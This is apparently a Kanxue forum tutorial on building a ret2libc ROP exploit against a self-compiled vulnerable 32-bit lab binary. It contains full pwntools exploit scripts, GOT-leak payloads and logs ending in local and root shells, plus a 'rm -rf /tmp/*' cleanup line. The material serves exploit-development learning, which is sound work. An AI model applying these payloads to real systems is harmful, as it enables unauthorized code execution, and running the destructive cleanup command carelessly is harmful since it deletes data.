Preparation Work
Enable ASLR and DEP protection.
sudo -s
echo 2 > /proc/sys/kernel/randomize_va_space
To enable DEP protection, simply remove the<span>-z execstack</span>
option when compiling with gcc.
<span>gcc -m32 -fno-stack-protector -o level3 level3.c</span>
Randomized Base Address
The following shows the maps situation when running level3 multiple times.
First Run
$ cat /proc/22020/maps
56652000-56653000 r--p 00000000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3
56653000-56654000 r-xp 00001000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3
56654000-56655000 r--p 00002000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3
56655000-56656000 r--p 00002000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3
56656000-56657000 rw-p 00003000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3
f7c00000-f7c20000 r--p 00000000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
f7c20000-f7da2000 r-xp 00020000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
f7da2000-f7e27000 r--p 001a2000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
f7e27000-f7e28000 ---p 00227000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
f7e28000-f7e2a000 r--p 00227000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
f7e2a000-f7e2b000 rw-p 00229000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
Second Run
$ cat /proc/21900/maps
5659c000-5659d000 r--p 00000000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3
5659d000-5659e000 r-xp 00001000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3
5659e000-5659f000 r--p 00002000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3
5659f000-565a0000 r--p 00002000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3
565a0000-565a1000 rw-p 00003000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3
f7c00000-f7c20000 r--p 00000000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
f7c20000-f7da2000 r-xp 00020000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
f7da2000-f7e27000 r--p 001a2000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
f7e27000-f7e28000 ---p 00227000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
f7e28000-f7e2a000 r--p 00227000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
f7e2a000-f7e2b000 rw-p 00229000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
Over time, the reference article was created around 2014, and some situations have changed. It can be seen that in the x64 32-bit process, the randomization is exactly the opposite of the reference; the program address is randomized while libc is indeed fixed. I suspect this is an issue with the x64 environment.
In the x64 version, it is completely different.
First Run
$ cat /proc/22133/maps
563a0f3e5000-563a0f3e6000 r--p 00000000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3
563a0f3e6000-563a0f3e7000 r-xp 00001000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3
563a0f3e7000-563a0f3e8000 r--p 00002000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3
563a0f3e8000-563a0f3e9000 r--p 00002000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3
563a0f3e9000-563a0f3ea000 rw-p 00003000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3
7f7f27e00000-7f7f27e28000 r--p 00000000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc.so.6
7f7f27e28000-7f7f27fbd000 r-xp 00028000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc.so.6
7f7f27fbd000-7f7f28015000 r--p 001bd000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc.so.6
7f7f28015000-7f7f28019000 r--p 00214000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc.so.6
7f7f28019000-7f7f2801b000 rw-p 00218000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc.so.6
Second Run
$ cat /proc/22240/maps
564fb2efa000-564fb2efb000 r--p 00000000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3
564fb2efb000-564fb2efc000 r-xp 00001000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3
564fb2efc000-564fb2efd000 r--p 00002000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3
564fb2efd000-564fb2efe000 r--p 00002000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3
564fb2efe000-564fb2eff000 rw-p 00003000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3
7f0218800000-7f0218828000 r--p 00000000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc.so.6
7f0218828000-7f02189bd000 r-xp 00028000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc.so.6
7f02189bd000-7f0218a15000 r--p 001bd000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc.so.6
7f0218a15000-7f0218a19000 r--p 00214000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc.so.6
7f0218a19000-7f0218a1b000 rw-p 00218000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc.so.6
It can be seen that in the x64 version, both the program and libc are randomized.
If you want the above 32-bit program address to be randomized while libc is not randomized, this situation can be fully exploited using level2’s pwn.
Information Leakage
Fixed Program Base Address
Through the above analysis and experiments, it has been confirmed that the base address of the program itself is also randomized.
To obtain a fixed base address, we will start from the gcc compiler.
<span>gcc -m32 -Wl,-Ttext-segment=0x08000000 -fno-stack-protector -o level3 level3.c</span>
Now the program has a fixed base address.
As follows:
0x08000000 0x08001000 r--p /home/dbg/Desktop/rop/level3/level3
0x08001000 0x08002000 r-xp /home/dbg/Desktop/rop/level3/level3
0x08002000 0x08003000 r--p /home/dbg/Desktop/rop/level3/level3
0x08003000 0x08004000 r--p /home/dbg/Desktop/rop/level3/level3
0x08004000 0x08005000 rw-p /home/dbg/Desktop/rop/level3/level3
With a fixed base address, we have a reference. We can leak some information from the program itself;
Since the libc base address is also fixed, we still need to pretend that the libc address is randomized.
Here we need to find the address of the system function and the memory address of “/bin/sh”, and then we can use the ret2libc technique. To find the key addresses, we first need to determine the base address of libc, and then dynamically calculate these addresses based on offsets. So how do we leak the address of libc?
PLT and GOT
This is actually dynamic linking technology, just like how programs depend on system dynamic link libraries. Windows describes the system APIs used through the import table, while Linux implements dynamic linking through PLT and GOT.
For detailed details, refer tothe workflow of PLT and GOT in dynamic linking. (https://www.openeuler.org/zh/blog/lijiajie128/2020-11-10-%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5%E4%B8%AD%E7%9A%84PLT%E4%B8%8EGOT.html)
View PLT Table
Command:
<span>objdump -d -j .plt level3</span>
└─# objdump -d -j .plt level3
level3: file format elf32-i386
Disassembly of section .plt:
08001030 <__libc_start_main@plt-0x10>:
8001030: ff b3 04 00 00 00 push 0x4(%ebx)
8001036: ff a3 08 00 00 00 jmp *0x8(%ebx)
800103c: 00 00 add %al,(%eax)
...
08001040 <__libc_start_main@plt>:
8001040: ff a3 0c 00 00 00 jmp *0xc(%ebx)
8001046: 68 00 00 00 00 push $0x0
800104b: e9 e0 ff ff ff jmp 8001030 <_init+0x30>
08001050 <read@plt>:
8001050: ff a3 10 00 00 00 jmp *0x10(%ebx)
8001056: 68 08 00 00 00 push $0x8
800105b: e9 d0 ff ff ff jmp 8001030 <_init+0x30>
08001060 <write@plt>:
8001060: ff a3 14 00 00 00 jmp *0x14(%ebx)
8001066: 68 10 00 00 00 push $0x10
800106b: e9 c0 ff ff ff jmp 8001030 <_init+0x30>
View GOT Table
Command:
<span>objdump -R level3</span>
└─# objdump -R level3
level3: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08003ed4 R_386_RELATIVE *ABS*
08003ed8 R_386_RELATIVE *ABS*
08003ff8 R_386_RELATIVE *ABS*
08004004 R_386_RELATIVE *ABS*
08003fec R_386_GLOB_DAT _ITM_deregisterTMCloneTable@Base
08003ff0 R_386_GLOB_DAT __cxa_finalize@GLIBC_2.1.3
08003ff4 R_386_GLOB_DAT __gmon_start__@Base
08003ffc R_386_GLOB_DAT _ITM_registerTMCloneTable@Base
08003fe0 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.34
08003fe4 R_386_JUMP_SLOT read@GLIBC_2.0
08003fe8 R_386_JUMP_SLOT write@GLIBC_2.0
Dynamic Call Process of Write
How the program calls functions in libc.
◆ When the program runs, the system’s loader will fill the GOT table completely.◆ When calling these functions, call the xxx@plt function in the PLT table.◆ The PLT contains a simple jump, which retrieves the function address from the GOT table and then jumps to it.
For example, calling the write function
0x8001206 <main+36>: lea eax,[ebx-0x1fcc]
0x800120c <main+42>: push eax
0x800120d <main+43>: push 0x1
=> 0x800120f <main+45>: call 0x8001060 <write@plt>
0x8001214 <main+50>: add esp,0x10
0x8001217 <main+53>: mov eax,0x0
0x800121c <main+58>: lea esp,[ebp-0x8]
0x800121f <main+61>: pop ecx
When calling the write function, it first calls <write@plt>
<span><main+45>: call 0x8001060 <write@plt></span>
Next, let’s take a look at the specific implementation of 0x8001060, command line<span>disassemble 0x8001060</span>
gdb-peda$ disassemble 0x8001060
Dump of assembler code for function write@plt:
0x08001060 <+0>: jmp DWORD PTR [ebx+0x14]
0x08001066 <+6>: push 0x10
0x0800106b <+11>: jmp 0x8001030
End of assembler dump.
It can be seen that it retrieves a certain address and then jumps. Next, let’s see what this address is.
gdb-peda$ p /x $ebx+0x14
$1 = 0x8003fe8
gdb-peda$ x /4xw $1
0x8003fe8 <[email protected]>: 0xf7d0a270 0x00000000 0xf7c3a760 0x00000000
gdb-peda$ disassemble 0xf7d0a270
Dump of assembler code for function __GI___libc_write:
0xf7d0a270 <+0>: endbr32
0xf7d0a274 <+4>: push edi
0xf7d0a275 <+5>: push esi
0xf7d0a276 <+6>: call 0xf7d71e35 <__x86.get_pc_thunk.si>
0xf7d0a27b <+11>: add esi,0x11fd85
Through the above steps, we can confirm that the final execution is the<span>__GI___libc_write</span><span> function.</span>
Principle
◆ First, complete the information leak to leak the addresses of certain libc functions.
◆ Based on the offsets of the functions in the libc file, indirectly determine the base address of libc in memory.
◆ Based on the address of libc, calculate the addresses of the system function and the ‘/bin/sh’ string; then we can reduce it to the level2 ret2libc exploit.
Memory Leak Implementation
We can observe that there is a write function, which we can see in our code, this function can output to standard output and print it out.
Using the output function of write, we can leak the addresses of certain functions.
Initial Leak
With the known fixed program base address and fixed offsets of the PLT and GOT tables, we can use the write function in the PLT to print out the addresses of functions in the system libc. Here we can choose read, printf, or write. I choose write.
# 08001060 <write@plt>:
# 8001060: ff a3 14 00 00 00 jmp *0x14(%ebx)
# 8001066: 68 10 00 00 00 push $0x10
# 800106b: e9 c0 ff ff ff jmp 8001030 <_init+0x30>
# We also need to pay attention to the source of ebx.
plt_write = 0x08001060
# 0x8003fe8 <[email protected]>: 0xf7d0a270 0x00000000 0xf7c3a760 0x00000000
got_write = 0x8003fe8
# 0x80011ad <vulnerable_function>: push ebp
vul = 0x80011ad
# write(STDOUT_FILENO, "Hello, World\n", 13); We also need to pay attention to the function convention of write.
Through the above information collection, we have obtained several key addresses and then assembled the payload.
Some may ask if we still need to use the vul address here?
After leaking the data, we need to trigger the vulnerable function again to continue receiving the second stage payload to ultimately execute bin/sh.
So it needs to be used as the return address of the write function again.
payload = 'A' * 140 + p32(plt_write) + p32(vul) + p32(1) + p32(got_write) + p32(4)
The test code is as follows:
from pwn import *
vul = 0x80011ad
plt_write = 0x08001060
got_write = 0x08003fe8
p = process('./level3')
payload = 'A' * 140 + p32(plt_write) + p32(vul) + p32(1) + p32(got_write) + p32(4)
p.send(payload)
write_addr = u32(p.recv(4,300))
print ('write_addr=' + hex(write_addr))
It was found that the leaked data could not be obtained, which should be due to the payload not executing normally. The test is as follows:
[+] Starting local process './level3': pid 25302
Traceback (most recent call last):
File "level3-pwn.py", line 17, in <module>
write_addr = u32(p.recv(4,300))
Fixing ebx in the plt jump
Old method: core dump.
<span>ulimit -s unlimited</span>
# Do not limit dump size.
sudo -s
echo '/tmp/core.%t' > /proc/sys/kernel/core_pattern # Set core dump file path format
rm -rf /tmp/* # Clear tmp
Run pwn again, and an error occurs, generating a dump file.
Debug level3 with gdb using the dump file
┌── dbg @ dbg-pro in ~/Desktop/rop/level3 [8:48:19] C:1
└─# gdb -q -ex init-peda "$@" ./level3 /tmp/core.1699926499.25606
Reading symbols from ./level3...
(No debugging symbols found in ./level3)
[New LWP 25606]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Core was generated by `./level3'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x08001060 in write@plt ()
gdb-peda$
Through gdb debugging, it was found that the issue occurred at<span>0x08001060 in write@plt ()</span>
.
gdb-peda$ disassemble 0x08001060
Dump of assembler code for function write@plt:
=> 0x08001060 <+0>: jmp DWORD PTR [ebx+0x14]
0x08001066 <+6>: push 0x10
0x0800106b <+11>: jmp 0x8001030
End of assembler dump.
By observing the calls to read and write, it seems that ebx should be the address of some table, which I call the plt table.
It can be seen that it is<span>jmp DWORD PTR [ebx+0x14]</span><span> at this step, retrieving the function address, and when ebx is incorrect, it causes a read error, leading to a crash.</span>
Since ebx is incorrect and is 0x41414141, which is ‘AAAA’, it seems controllable. If we correct it to the correct address, it should solve the problem.
Next, let’s take a look at the end position of the vul function and how ebx is assigned.
0x80011dd <vulnerable_function+48>: mov ebx,DWORD PTR [ebp-0x4]
=> 0x80011e0 <vulnerable_function+51>: leave
0x80011e1 <vulnerable_function+52>: ret
From the stack, ebp-0x4 takes the value, let’s see the specific address of this position and calculate the offset to ret.
gdb-peda$ p /x $ebp-0x04
$3 = 0xffffd074
The above is the position of plt_table in the stack.
=> 0x80011e1 <vulnerable_function+52>: ret
0x80011e2 <main>: lea ecx,[esp+0x4]
0x80011e6 <main+4>: and esp,0xfffffff0
0x80011e9 <main+7>: push DWORD PTR [ecx-0x4]
0x80011ec <main+10>: push ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffd07c --> 0x8001201 (<main+31>: sub esp,0x4)
This is the position of ret in the stack.<span>0000| 0xffffd07c</span>
gdb-peda$ p /x 0xffffd07c - 0xffffd074
$4 = 0x8
The offset is 8.
Get the address of ebx (plt_table). 0x8003fd4
gdb-peda$ p $ebx
$2 = 0x8003fd4
Leaking Again
Through the above debugging, we learned the importance of plt_table, and now we will adjust the payload.
The test pwn code is as follows:
#!python
#!/usr/bin/env python
from pwn import *
vul = 0x080011ad
plt_write = 0x08001060
got_write = 0x08003fe8
plt_tab = 0x08003fd4
p = process('./level3')
payload = 'A' * (140 - 8) + p32(plt_tab) + 'A' * 4 + p32(plt_write) + p32(vul) + p32(1) + p32(got_write) + p32(4)
p.send(payload)
write_addr = u32(p.recv(4,300))
print ('write_addr=' + hex(write_addr))
Test Results
└─# python2 level3-pwn.py
[+] Starting local process './level3': pid 26292
write_addr=0xf7d0a270
[*] Stopped process './level3' (pid 26292)
Calculating the Address of the System Function and ‘/bin/sh’ String
Since we know the location of the write function in memory, and we also have the local libc file, we can calculate these addresses.
Copy the libc file to the current folder.
┌── dbg @ dbg-pro in ~/Desktop/rop/level3 [9:23:17]
└─# ldd level3
linux-gate.so.1 (0xf7f21000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7c00000)
/lib/ld-linux.so.2 (0xf7f23000)
┌── dbg @ dbg-pro in ~/Desktop/rop/level3 [9:23:25]
└─# cp /lib/i386-linux-gnu/libc.so.6 ./
The method to calculate the addresses is as follows:
libc = ELF('libc.so.6')
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print ('system_addr= ' + hex(system_addr))
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print ('binsh_addr= ' + hex(binsh_addr))
With this information, the second stage payload and exploitation technique ret2libc are the same as in level2, so I won’t elaborate further. Let’s look at the pwn code directly.
#!python
#!/usr/bin/env python
from pwn import *
libc = ELF('libc.so.6')
paddr = 0x08000000 #
print("addr :" + hex(paddr) )
vul = 0x080011ad
print("vul :" + hex(vul))
plt_write = 0x08001060
print("plt_write :" + hex(plt_write))
got_write = 0x08003fe8
print("got_write :" + hex(got_write))
plt_tab = 0x08003fd4
print("plt_table :" + hex(plt_tab))
payload = 'A' * (140 - 8) + p32(plt_tab) + 'B' * 4 + p32(plt_write) + p32(vul) + p32(1) + p32(got_write) + p32(4)
#p = remote('127.0.0.1',10001)
p = process('./level3')
print("#### send payload 1")
p.send(payload)
print("#### recv write addr ...")
write_addr = u32(p.recv(4,300))
print ('write_addr=' + hex(write_addr))
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print ('system_addr= ' + hex(system_addr))
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print ('binsh_addr= ' + hex(binsh_addr))
payload2 = 'a'*140 + p32(system_addr) + 'a' * 4 + p32(binsh_addr)
print ("\n###sending payload2 ...###")
p.send(payload2)
p.interactive()
Test as follows:
┌── dbg @ dbg-pro in ~/Desktop/rop/level3 [9:33:01]
└─# python2 level3-pwn.py
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/dbg/Desktop/rop/level3/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
addr :0x8000000
vul :0x80011ad
plt_write :0x8001060
got_write :0x8003fe8
plt_table :0x8003fd4
[+] Starting local process './level3': pid 26763
#### send payload 1
#### recv write addr ...
write_addr=0xf7d0a270
system_addr= 0xf7c48170
binsh_addr= 0xf7dbd0f5
###sending payload2 ...###
[*] Switching to interactive mode
$ id
uid=1000(dbg) gid=1000(dbg) groups=1000(dbg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)
$ whoami
dbg
$ q
/bin/sh: 3: q: not found
With slight modifications, remote exploitation is also possible!
[+] Opening connection to 127.0.0.1 on port 10001: Done
#### send payload 1
#### recv write addr ...
write_addr=0xf7d0a270
system_addr= 0xf7c48170
binsh_addr= 0xf7dbd0f5
###sending payload2 ...###
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root
$
References
Article by Teacher Zheng Min: “Step by Step Learning ROP in Linux x86”https://zhuanlan.kanxue.com/article-13320.htm
Kanxue ID: zhenwo
https://bbs.kanxue.com/user-home-396123.htm
*This article is an excellent article from the Kanxue Forum, written by zhenwo. Please indicate that it comes from the Kanxue community when reprinting.
# Previous Recommendations
1、Exploring Windows Heap
2、PE Analysis Ideas
3、Debugging Practice: A Beneficial Recursive Stack View
4、Learning the Theoretical Basics of Windows Kernel
5、Exploiting Android WebView Vulnerabilities
6、OLLVM False Control Flow Source Code Analysis
Share
Like
Watch